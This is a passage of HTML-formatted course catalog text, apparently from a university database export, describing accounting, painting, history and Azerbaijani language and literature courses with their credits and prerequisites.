(AZLL)','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 210: Principles of Accounting&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: BSA 101</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This is an introductory course in accounting. It covers such topics as accounting and business environment, translating business activities into accounting information, accounting cycle, merchandising operations, inventory, internal control and cash, receivables, liabilities, assets and intangibles, time value of money and financial statements, using information from accounting system for investment and management decisions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 310: Financial Accounting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: ACC 210</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course introduces financial accounting concepts and principles. It is designed to be a combination of both accounting and finance that will lay a strong background for further studies in financial subjects. The course covers the following topics: accounting principles and concepts; balance sheets, accrual vs. cash basis of income measurement; income statement; journals and ledger recording; trial balance, accrual and deferral adjustments, the &nbsp;accounting cycle, sales, cash and accounts receivable; estimating uncorrectable accounts, valuing inventories, ratio and trend analysis, present and future value concepts; liabilities, statements of cash flows, stockholders’ equity, dividends and treasury stock.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 350: Accounting Information Systems (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: ACC 210, BSA 210</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 410: Managerial Accounting&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: FIN 310, ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers approaches to providing accounting and processing information for effective management of for-profit and nonprofit organizations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 415: Statutory Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the study of statutory accounts and reporting requirements; domestic auditing standards; and domestic oil and gas accounting requirements.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 420: Financial Reporting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210, FIN 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers analysis of the International Financial Reporting Standards, focusing on revenue and expense recognition and the measurement of assets and liabilities; concepts and theories underlying financial statements; introduction to international reporting standards; balance sheet; income statement, statement of changes in equity; cash flow statement; cash and receivables; inventory; revenue and expense recognition; property, plant and equipment; intangible assets.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 430: International Accounting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Securities regulation and trading; various national accounting standards; the harmonization of accounting standards internationally; accounting for the translation of transactions and foreign subsidiary financial statements.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 440: Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210, FIN 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Students study cost accounting, accounts and investments; inventory accounts; manufacturing accounts; and material use variance accounts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 450: Auditing (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course develops student’s knowledge of auditing services. Topics include the role of auditing services in society, audit programs planning, design and implementation.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 490: Taxation&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces students to the tax concepts applicable to sole proprietorships, partnerships, corporations, estates, and trusts. Emphasis is placed on differences between tax and financial accounting concepts. In addition, students are exposed to accounting periods and methods, deferred compensation, tax planning, ethical practices, and tax research.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 800: Accounting for Financial Decisions (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed for graduate students. The course will focus on the financial decision makers. The purpose of this course is to introduce the «basic concepts» of accounting and finance. With knowledge in accounting and the basic elements of finance, one can understand how specific techniques and decision rules can be used. The course covers the following topics: basic accounting concepts, revenue and monetary systems, cost of sales and inventory, non-monetary assets, sources of capital, and strategic investment decisions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 801: Financial Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisites: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is designed for the graduate students majoring in Economics and Business Administration as a required course. This course will focus on the user of accounting information. The purpose of this course is to introduce the «basic concepts» of accounting. With knowledge in accounting, one can understand how specific techniques and decision rules can be used from accounting records. The course covers the following topics: analyzing transactions; the matching concept and adjusting process; completing the accounting cycle; accounting for different types of businesses; accounting systems, internal controls and cash; receivables; inventories; fixed assets and intangible assets; current liabilities; corporations: organization, capital stock transactions and dividends; corporations: income and taxes, stockholders’ equity and investments in stocks; bonds payable and investments into bonds; statement of cash flows; and financial statement analysis.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 810: Auditing (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course provides knowledge important for the students majoring in Accounting and Finance. It includes planning audit, designing audit programs with internal control, audit evidence, audit work papers, cash and marketable securities, accounts receivable, inventories, property, plant and equipment, accounts payable and other liabilities, debt and equity capital losses and auditor’s reports. Casework is practiced.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 840: Management and Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Use of accounting information for internal planning and control purposes; role of accounting in decisions concerning resource allocation, cost and performance analysis, evaluation of business units using data obtained from the accounting system. Use of cost information for operational and strategic control; application of statistical tools and decision models to accounting data for the purpose of facilitating managerial control; identifying cost behavior with respect to managerial decision; measuring and controlling the consumption of resources by a firms products; analyzing product cost systems in diverse production and non-manufacturing settings.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 860: Accounting Information Systems&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems. This course focuses on the knowledge and skills required providing assurance for information systems for the purpose of managing business risk.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 870: International Accounting Practices (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed to study and resolve accounting problems involved in international operations. It encompasses the comparative study of different national accounting systems, the problems caused by the existing differences in practices for international operations, and organizations which have emerged to reconcile differences and to handle international accounting problems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 880: Advanced Accounting Topics (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is specialized in accounting topics including accounting and reporting for business combinations, international accounting and foreign currency issues, partnership accounting and other topics.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a>ART 231: Painting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Basic fundamentals of painting. Color and basic techniques. Studio work and exhibition.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a></a><strong>HIST 116: History of Turks (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Comprehensive study of the history of the Caucasian Turkic peoples\' civilizations and cultures. There role in the process of shaping of the contemporary Caspian region\'s ethnic situation, especially their influence in the formation of Azerbaijani nation. The course embraces the history of the Caucasus Turkish Tribes and Fore Asia; formation of the Turkish States and empires in Siberia, Altay, Middle Asia, Western Europe, and on the shores of the Black Sea. Economics, culture, religion, and mode of the life of Turkish peoples are discussed.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 117: History of the Hun (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies the historical origin of the Hun, their political and ethnic characteristics and geographical location. The historical role of the Hun in the formation of European and Asian, and in particular Azerbaijani ethnicity is of great importance. A study of history of the Hun is based on the Chinese, European and Caucasian sources, both written and archeological ones. Topics for research and course theses will be offered for persons interested.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 210: Pre-Islamic History of Azerbaijan and Its Neighbors (Ancient and Early Medieval Period) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the period from the very beginning of civilization until the 8th century AD Comparative history of the ancient Azerbaijani people and the people of Georgia, Armenia, Daghestan, other Caucasian people is discussed. Emphasis is given to the formation of the states like Manna, Athropatheus, and Caucasian Albania.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 211: History of Azerbaijan (8th - 18th Centuries) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">History of Azerbaijan of the Middle Ages: Arabian invasion, inclusion of Azerbaijan into Arabian Caliphate, and beginning of the country\'s Islamization. Study of historical development of the local feudal states in Azerbaijan: Shirvanshahs, Sajids, Shaddadids, Salarids, and Ravvadids. Formation of the Saljug Empire in Central Asia and Azerbaijan. The 12th century Azerbaijani culture. Mongol invasion. Azerbaijan in Chinghiz Khan\'s Empire and in the states of Ilkhans and Khulagiuds. The states of Qaraqoyunlu and Agqoyunlu. Safavids state of Azerbaijan. Azerbaijan in the 18th century. Azerbaijan as an arena of rivalry among Russia, Persia, and the Ottoman Empire.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 212: Modern and Contemporary History of Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: HIST 211</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is connected with the continuous rivalry of Empires for Caucasus, the division of the country into two parts between Russia and Persia (Gulustan and Turkmancay Treaties of 1813 and 1828). Since that time until 1991 North Azerbaijan existed within Russian Empire and then the USSR, but South Azerbaijan - within the Persia (Iran). A significant place is given to the History of Azerbaijan after the declaration of Independent ADR (Azerbaijan Democratic Republic) in 1918 and after 1991 - with the formation of the sovereign AR (Azerbaijan Republic).</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 213: History of the Formation and Development of Capitalistic Oil Production in Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies the peculiarities of the formation and development of large-scale capitalist oil industry in Azerbaijan. Social-economic movements in the sphere of oil engineering; oil exportation; discoveries of new hydrocarbon resources. Creation of new oil-producing factory. Transformation of Baku into the world center of oil industry. Concentration and flow of foreign investments. The beginning of monopolization of oil industry in Azerbaijan by Nobel brothers and establishment of the great monopolistic union – \"Nobel-Mazut\". Investments of international Anglo-Dutch company \"Shell\" into oil industry of Baku. Oil production during World War I: influence of the war to the structure of production; role of Azeri oil during the war. Foundation of the council of Baku oil-producers. The development of oil industry in Azerbaijan during the Soviet period.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 215: Introduction to Archeology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies primitive, antique, and medieval historical material sources; restores the historical past of the mankind; investigates important changes in the development of productive forces, social relations; ascertains the origin of nations, formation and development of their culture; retraces cultural and historical relations and formation of ethnic communities. Traces the development of native Azerbaijan culture from the peopling of the continent to early historic times. Examines the archeological evidence for the antiquity, spread, and variation of cultural adaptation to changing ecological conditions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 216: Modern History of the Middle East (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course presents a survey of the political, social and economic evolution of the Middle East in the 19th and 20th centuries, covering the impact of the West on the traditional socio-political order, state-and nation-building in the 20th century, the development of a new social order, and political and ideological conflict within and between states.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 217: History of the Origins and Development of Islam (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is primarily concerned with the emergence and consolidation of the Islamic world -- the most significant transition in the history of the Middle East and North Africa between the origins of civilization and modern times. The overall framework is one of political history broadly conceived; within this framework themes taken from religious, cultural, social and economic history will receive considerable attention. The history of origin and formation of Islamic religion. Analysis of the history of basic Islamic doctrines\' development known as Arkan al-Islam (pillars of Islam). The review of some religious dogmas will require more extensive (from the point of chronology) review of the problem. Arabic language capability is welcomed but not required.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 220: Introduction to Ethnography (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">An introduction to the basic concepts and theories of ethnography. Study of the ethnography of Azerbaijan and ethnography of the world. The course deals with general ethnic processes, ethnic factor in the history and in the modern life, types of classification of people in the world, their economic and spirituaculture. Ethnic composition and ethno- political history of Azerbaijan are emphasized.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 313. History of South Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Study of the history of South Azerbaijan from the specific aspect of its historical and socio-political development. The division of Azerbaijan in the beginning of XIX century into North and South Azerbaijan, creation of separate (different) fates and histories of one nation under the rule of the Russian and Persian empires. Emphasis of the processes occurring in South Azerbaijan after the peace treaties of Gulustan and Turkmancay in 1813 and 1828; Iranian policy of the coercive assertion of Persian culture on the population of South Azerbaijan; national-liberation movements guided by S.M.Khiyabani, Sattarkhan, and S.C.Pishavari. The course includes, as well as, the topics: South Azerbaijan during the \"cold war\"; contemporary South Azerbaijan; idea of the \"United Azerbaijan\" -- historical evolution, development, and realization tendencies.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 316: Socio-political situation in Azerbaijan in the 19-20thcenturies(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The development of national-democratic and revolutionary movements in Azerbaijan; formation of political parties and development of the national self- consciousness. The political activity of national intelligentsia. Participation of Azerbaijan political figures in four State Dumas of Russia and the beginning of formation of Azerbaijan national political system. The formation and active participation of the first national organizations in the movement for political, economic, and social rights of Azerbaijani peoples.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 317: International Status of Azerbaijan in 1917 – 1920 (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Study of the political situation in Azerbaijan after the Russian Empire\'s fall. The Democratic Republic of Azerbaijan - the first democratic state in the Muslim East. Analysis of the formation of the national Azerbaijan state and its international recognition. Survey of the Democratic Republic of Azerbaijan Government\'s activity. Participation and acceptance of Azerbaijani delegation in the Paris Peace conference. The relationships with other states. The Soviet Russia aggression in April 1920 and the breach of historical development of Azerbaijan State system.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 320: Ethnology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The purpose of the course is to study the main basic theoretical aspects of knowledge on anthropology as the science studying human being, culture, and society in the global and general historic context. The course intends to present a comprehensive knowledge on the features of the methods, the investigating objects of this sphere of science. Emphasis is on such problems as: western ethnology and its main directions; ethno-sociology; ethnicity and nation; ethno-demographic investigations; ethnology and anthropology; political ethnology.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 550: History of Iran (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course embraces long history of Iran. But attention has been given mainly to the modern and contemporary history of the multi-ethnic country. The Islamic revolution and current situation in the country have selected for more in-depth studies.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a>AZLL 101: Azerbaijani Language (University Requirement) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: High School Azerbaijani language</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course prepares students for analyzing academic texts and technical material in Azerbaijani. Advanced skills in academic and creative writing and reading comprehension are honed using academic literature across various disciplines. The topics cover culture, environment, customs and traditions, history, economics, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 102.&nbsp; Introduction to Writing (3 credit)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite AZLL 101.</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Writing Strategy. Planning and organizing source material for writing, revising, editing and proofreading. Summaries, critiques and syntheses of texts. Essay and creative writing. Academic and Business writing. Prose style.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 103: Azerbaijani Language for Foreigners (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The main emphasis is the communicative role of four skills – reading, writing, listening, and speaking. These skills are taught within the frame of topics such as greetings, making acquaintances, congratulations and thankfulness, (dis) approvals, requests, demands, introductions, apologizing, condolences, praying, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 104: Advanced Azerbaijani Language (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">More complex in nature, this course covers the following problematic areas of the Azerbaijani language. Semantic structure, meaning its narrowing and broadening; semantic groupings in Azerbaijani language. Grammar, basic divisions and relations within them; grammatical categories. Syntax, the types of phrases and the sentences; text linguistics and its problematic issues; syntax of poetry; punctuation marks and their functions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 105: Azerbaijani Literature (University Requirement) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers study of the Azerbaijani literature from Ancient to contemporary times through historical periods. The life and works of prominent Azerbaijani poets and writers, as well as their literary works are studied. The course also covers brief information about the history and theory of literature, main goals and objectives of literary critics, etc. Central to the coursework is the study and discussion of selected works of prominent figures in Azerbaijani literature.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, 